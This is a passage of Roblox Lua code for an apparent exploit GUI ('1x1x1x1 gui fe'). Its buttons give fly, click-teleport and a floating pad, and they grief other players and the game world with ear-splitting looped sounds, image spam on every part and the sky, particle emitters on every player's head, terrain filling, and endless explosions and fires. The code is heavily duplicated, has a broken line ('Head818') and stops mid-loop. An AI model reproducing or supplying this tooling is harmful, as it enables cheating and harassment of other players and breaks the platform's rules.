bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
-- game.Players.LocalPlayer.Character.Animate.Disabled = true
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
else
local plr = game.Players.LocalPlayer
local UpperTorso = plr.Character.UpperTorso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", UpperTorso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = UpperTorso.CFrame
local bv = Instance.new("BodyVelocity", UpperTorso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
ctrl = {f = 0, b = 0, l = 0, r = 0}
lastctrl = {f = 0, b = 0, l = 0, r = 0}
speed = 0
bg:Destroy()
bv:Destroy()
plr.Character.Humanoid.PlatformStand = false
game.Players.LocalPlayer.Character.Animate.Disabled = false
tpwalking = false
end
end)
local tis
end
coroutine.wrap(SSWSNG_fake_script)()
local function GYRIVDI_fake_script() -- tp.LocalScript
local script = Instance.new('LocalScript', tp)
script.Parent.MouseButton1Click:Connect(function()
mouse = game.Players.LocalPlayer:GetMouse()
tool = Instance.new("Tool")
tool.RequiresHandle = false
tool.Name = "Click Teleport"
tool.Activated:connect(function()
local pos = mouse.Hit+Vector3.new(0,2.5,0)
pos = CFrame.new(pos.X,pos.Y,pos.Z)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
end)
tool.Parent = game.Players.LocalPlayer.Backpack
end)
end
coroutine.wrap(GYRIVDI_fake_script)()
local function BCBQLZ_fake_script() -- floatingpad.LocalScript
local script = Instance.new('LocalScript', floatingpad)
script.Parent.MouseButton1Click:Connect(function()
local name = game.Players.LocalPlayer.Name
local p = Instance.new("Part")
p.Parent = workspace
p.Locked = true
p.Color = Color3.new(0.666667, 0, 0)
p.Size = Vector3.new(8, 1.2, 8)
p.Anchored = true
local m = Instance.new("CylinderMesh")
m.Scale = Vector3.new(1, 0.5, 1)
m.Parent = p
while true do
p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
wait()
end
end)
end
coroutine.wrap(BCBQLZ_fake_script)()
local function KXYQAXQ_fake_script() -- Frame.UIDrag
local script = Instance.new('LocalScript', Frame)
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end
coroutine.wrap(KXYQAXQ_fake_script)()
local function GEVXYR_fake_script() -- ScreenGui.notfication
local script = Instance.new('LocalScript', ScreenGui)
wait(2)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "now loaded lol";
Text = "By FishNoobAhh";
Icon = "";
Duration = 10;
Button1 = "yes sirrr";
})
end
coroutine.wrap(GEVXYR_fake_script)()
local function PYIQX_fake_script() -- ScreenGui.messageload
local script = Instance.new('LocalScript', ScreenGui)
if script.Parent.Enabled == true then
local m = Instance.new("Message", game.Workspace)
m.Text = "1x1x1x1 gui fe Loading..."
wait(2)
m:Destroy()
script:Destroy()
else
end
end
coroutine.wrap(PYIQX_fake_script)()
end)
end;
task.spawn(C_4);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_6()
local script = G2L["6"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_6);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
script.Parent.MouseButton1Down:Connect(function()
imageOne="http://www.roblox.com/asset/?id=169585459"imageTwo="http://www.roblox.com/asset/?id=169585475"imageThree="http://www.roblox.com/asset/?id=169585485"imageFour="http://www.roblox.com/asset/?id=169585502"imageFive="http://www.roblox.com/asset/?id=169585515"imageSix="http://www.roblox.com/asset/?id=169585502"imageSeven="http://www.roblox.com/asset/?id=169585485"imageEight="http://www.roblox.com/asset/?id=169585475"Spooky=Instance.new("Sound",workspace)Spooky.Name="Spooky"Spooky.SoundId="rbxassetid://174270407"Spooky.Volume=15 Spooky.Looped=true Spooky:Play()Sky=Instance.new("Sky",game.Lighting)Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne while true do Sky.SkyboxBk=imageOne Sky.SkyboxDn=imageOne Sky.SkyboxFt=imageOne Sky.SkyboxLf=imageOne Sky.SkyboxRt=imageOne Sky.SkyboxUp=imageOne wait(0.15)Sky.SkyboxBk=imageTwo Sky.SkyboxDn=imageTwo Sky.SkyboxFt=imageTwo Sky.SkyboxLf=imageTwo Sky.SkyboxRt=imageTwo Sky.SkyboxUp=imageTwo wait(0.15)Sky.SkyboxBk=imageThree Sky.SkyboxDn=imageThree Sky.SkyboxFt=imageThree Sky.SkyboxLf=imageThree Sky.SkyboxRt=imageThree Sky.SkyboxUp=imageThree wait(0.15)Sky.SkyboxBk=imageFour Sky.SkyboxDn=imageFour Sky.SkyboxFt=imageFour Sky.SkyboxLf=imageFour Sky.SkyboxRt=imageFour Sky.SkyboxUp=imageFour wait(0.15)Sky.SkyboxBk=imageFive Sky.SkyboxDn=imageFive Sky.SkyboxFt=imageFive Sky.SkyboxLf=imageFive Sky.SkyboxRt=imageFive Sky.SkyboxUp=imageFive wait(0.15)Sky.SkyboxBk=imageSix Sky.SkyboxDn=imageSix Sky.SkyboxFt=imageSix Sky.SkyboxLf=imageSix Sky.SkyboxRt=imageSix Sky.SkyboxUp=imageSix wait(0.15)Sky.SkyboxBk=imageSeven Sky.SkyboxDn=imageSeven Sky.SkyboxFt=imageSeven Sky.SkyboxLf=imageSeven Sky.SkyboxRt=imageSeven Sky.SkyboxUp=imageSeven wait(0.15)Sky.SkyboxBk=imageEight Sky.SkyboxDn=imageEight Sky.SkyboxFt=imageEight Sky.SkyboxLf=imageEight Sky.SkyboxRt=imageEight Sky.SkyboxUp=imageEight wait(0.15)end
end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.Frame.LocalScript
local function C_9()
local script = G2L["9"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_9);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_b()
local script = G2L["b"];
function click()
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id=111604272791927" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Two.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Three.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Four.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Five.Texture = "http://www.roblox.com/asset/?id=111604272791927"
Six.Texture = "http://www.roblox.com/asset/?id=111604272791927"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(workspace)
asdf(workspace)
end
script.Parent.MouseButton1Down:connect(click)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head818
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)script.Parent.MouseButton1Click:Connect(function()
for i, v in pairs(game:GetService("Players"):GetChildren()) do
emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Head
emit.Texture = "http://www.roblox.com/asset/?id=111604272791927"
emit.VelocitySpread = 100000
end
end)
function click()
s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game:GetService("Lighting")
s.SkyboxBk = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxDn = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxFt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxLf = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxRt = "http://www.roblox.com/asset/?id=111604272791927"
s.SkyboxUp = "http://www.roblox.com/asset/?id=111604272791927"
game:GetService("Lighting").TimeOfDay = 12
end
script.Parent.MouseButton1Down:connect(click)
---MADE BY 777ILILO PLZ DO NOT SKID IT IM SCRIPTING THIS RN ON 2 AM :SOB:
end;
task.spawn(C_b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_d()
local script = G2L["d"];
function click()
Game.Workspace.Terrain:SetCells(Region3int16.new(Vector3int16.new(-100,-100,-100), Vector3int16.new(100,100,100)), 17, "Solid", "X")
end
script.Parent.MouseButton1Down:connect(click)
end;
task.spawn(C_d);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_f()
local script = G2L["f"];
script.Parent.MouseButton1Click:Connect(function()
for i,v in next,workspace:children''do
if(v:IsA'BasePart')then
me=v;
bbg=Instance.new('BillboardGui',me);
bbg.Name='stuf';
bbg.Adornee=me;
bbg.Size=UDim2.new(2.5,0,2.5,0)
--bbg.StudsOffset=Vector3.new(0,2,0)
tlb=Instance.new'TextLabel';
tlb.Text='';
tlb.Font='SourceSansBold';
tlb.FontSize='Size48';
tlb.TextColor3=Color3.new(1, 0.933333, 0);
tlb.Size=UDim2.new(1.25,0,1.25,0);
tlb.Position=UDim2.new(-0.125,-22,-1.1,0);
tlb.BackgroundTransparency=1;
tlb.Parent=bbg;
end;end;
function xds(dd)
for i,v in next,dd:children''do
if(v:IsA'BasePart')then
v.BrickColor=BrickColor.new'Really black';
v.TopSurface='Smooth';
v.BottomSurface='Smooth';
s=Instance.new('SelectionBox',v);
s.Adornee=v;
s.Color=BrickColor.new'Fire Yellow';
a=Instance.new('PointLight',v);
a.Color=Color3.new(1, 0.968627, 0);
a.Range=15;
a.Brightness=5;
end;
local dec = 'http://www.roblox.com/asset/?id=19399245';
local fac = {'Front', 'Back', 'Left', 'Right', 'Top', 'Bottom'}
--coroutine.wrap(function()
--for ,_ in pairs(fac) do
--local ddec = Instance.new("Decal", v)
--ddec.Face =
--ddec.Texture = dec
--end end)()
if #(v:GetChildren())>0 then
xds(v)
end
end
end
xds(game.Workspace)
end)
end;
task.spawn(C_f);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_11()
local script = G2L["11"];
function onClick()
local uhmye = Instance.new("Sound") uhmye.Parent = game:GetService("Workspace") uhmye.SoundId = "rbxassetid://8260658079"
uhmye.Playing = true uhmye.Looped = true uhmye.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_11);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_13()
local script = G2L["13"];
function onClick()
local tubers93 = Instance.new("Sound")
tubers93.Parent = game:GetService("Workspace")
tubers93.SoundId = "rbxassetid://6129291390"
tubers93.Playing = true
tubers93.Looped = false
tubers93.Volume = 99999999999999999
end
script.Parent.MouseButton1Down:connect(onClick)
end;
task.spawn(C_13);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_15()
local script = G2L["15"];
script.Parent.MouseButton1Down:Connect(function()
while true do
explosion = Instance.new("Explosion")
explosion.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
explosion.Parent = game.Workspace
wait()
end
end)
end;
task.spawn(C_15);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_17()
local script = G2L["17"];
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
